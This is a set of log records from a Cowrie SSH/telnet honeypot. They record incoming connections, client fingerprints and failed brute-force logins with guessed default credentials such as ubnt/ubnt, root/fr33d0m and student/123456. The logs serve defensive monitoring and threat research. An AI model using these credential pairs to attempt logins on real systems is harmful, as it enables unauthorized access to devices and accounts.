{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:28.715933Z","src_ip":"116.110.11.66","session":"b26ab1acdf74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:29.313588Z","src_ip":"45.153.34.112","session":"a210178e3f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:30.079679Z","src_ip":"116.110.11.66","session":"b26ab1acdf74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3efd41e5e2d","protocol":"telnet","message":"New connection: 192.119.13.58:33728 (10.17.0.5:23) [session: a3efd41e5e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:30.464514Z"}
{"eventid":"cowrie.session.closed","duration":37.79122495651245,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:30.548409Z","src_ip":"192.119.13.58","session":"9f5ee6ab2f91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.239137411117554,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.345756Z","src_ip":"192.119.13.58","session":"45b9ba8cf9d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56940,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa7fefc8b5ad","protocol":"ssh","message":"New connection: 45.153.34.112:56940 (10.17.0.5:22) [session: fa7fefc8b5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.360768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.365504Z","src_ip":"45.153.34.112","session":"fa7fefc8b5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.448495Z","src_ip":"45.153.34.112","session":"fa7fefc8b5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.630892Z","src_ip":"116.110.11.66","session":"b26ab1acdf74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.694271Z","src_ip":"45.153.34.112","session":"fa7fefc8b5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39316,"dst_ip":"10.17.0.5","dst_port":23,"session":"df91ff7a5177","protocol":"telnet","message":"New connection: 192.119.13.58:39316 (10.17.0.5:23) [session: df91ff7a5177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:31.896090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39710,"dst_ip":"10.17.0.5","dst_port":23,"session":"2750398fe255","protocol":"telnet","message":"New connection: 192.119.13.58:39710 (10.17.0.5:23) [session: 2750398fe255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:32.001862Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:32.782651Z","src_ip":"45.153.34.112","session":"fa7fefc8b5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":58390,"dst_ip":"10.17.0.5","dst_port":22,"session":"d40657cc8f25","protocol":"ssh","message":"New connection: 158.178.141.16:58390 (10.17.0.5:22) [session: d40657cc8f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.302102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.306361Z","src_ip":"158.178.141.16","session":"d40657cc8f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":43276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3167e177e04","protocol":"ssh","message":"New connection: 170.238.160.191:43276 (10.17.0.5:22) [session: a3167e177e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.402254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.406659Z","src_ip":"170.238.160.191","session":"a3167e177e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.513681Z","src_ip":"158.178.141.16","session":"d40657cc8f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.519138Z","src_ip":"170.238.160.191","session":"a3167e177e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56944,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9f07028906","protocol":"ssh","message":"New connection: 45.153.34.112:56944 (10.17.0.5:22) [session: af9f07028906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.708934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.714764Z","src_ip":"45.153.34.112","session":"af9f07028906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.797435Z","src_ip":"45.153.34.112","session":"af9f07028906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fr33d0m","message":"login attempt [root/fr33d0m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:34.996346Z","src_ip":"170.238.160.191","session":"a3167e177e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:35.048702Z","src_ip":"45.153.34.112","session":"af9f07028906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"corvette","message":"login attempt [root/corvette] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:35.378375Z","src_ip":"158.178.141.16","session":"d40657cc8f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:36.110497Z","src_ip":"170.238.160.191","session":"a3167e177e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:36.133377Z","src_ip":"45.153.34.112","session":"af9f07028906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:36.589074Z","src_ip":"158.178.141.16","session":"d40657cc8f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":56946,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8112cd86af2","protocol":"ssh","message":"New connection: 45.153.34.112:56946 (10.17.0.5:22) [session: d8112cd86af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:38.428799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:38.433320Z","src_ip":"45.153.34.112","session":"d8112cd86af2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:38.515696Z","src_ip":"45.153.34.112","session":"d8112cd86af2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:38.766060Z","src_ip":"45.153.34.112","session":"d8112cd86af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43060,"dst_ip":"10.17.0.5","dst_port":23,"session":"3386461fca77","protocol":"telnet","message":"New connection: 192.119.13.58:43060 (10.17.0.5:23) [session: 3386461fca77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:39.687126Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:39.851261Z","src_ip":"45.153.34.112","session":"d8112cd86af2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.98726153373718,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:41.113339Z","src_ip":"192.119.13.58","session":"8c49ec24cded","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52608,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9de61a9f656","protocol":"ssh","message":"New connection: 45.153.34.112:52608 (10.17.0.5:22) [session: b9de61a9f656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:41.959191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:41.963897Z","src_ip":"45.153.34.112","session":"b9de61a9f656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:42.045522Z","src_ip":"45.153.34.112","session":"b9de61a9f656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:42.291261Z","src_ip":"45.153.34.112","session":"b9de61a9f656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.0.81.201","src_port":48942,"dst_ip":"159.203.135.109","dst_port":23,"session":"e26f7b26ace3","protocol":"telnet","message":"New connection: 190.0.81.201:48942 (159.203.135.109:23) [session: e26f7b26ace3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:42.918891Z"}
{"eventid":"cowrie.session.closed","duration":41.443493127822876,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:42.984474Z","src_ip":"192.119.13.58","session":"64cac7909336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:43.516915Z","src_ip":"45.153.34.112","session":"b9de61a9f656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52634,"dst_ip":"10.17.0.5","dst_port":22,"session":"718e0048ad20","protocol":"ssh","message":"New connection: 45.153.34.112:52634 (10.17.0.5:22) [session: 718e0048ad20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:45.388874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:36:45.393847Z","src_ip":"45.153.34.112","session":"718e0048ad20","protocol":"ssh"}
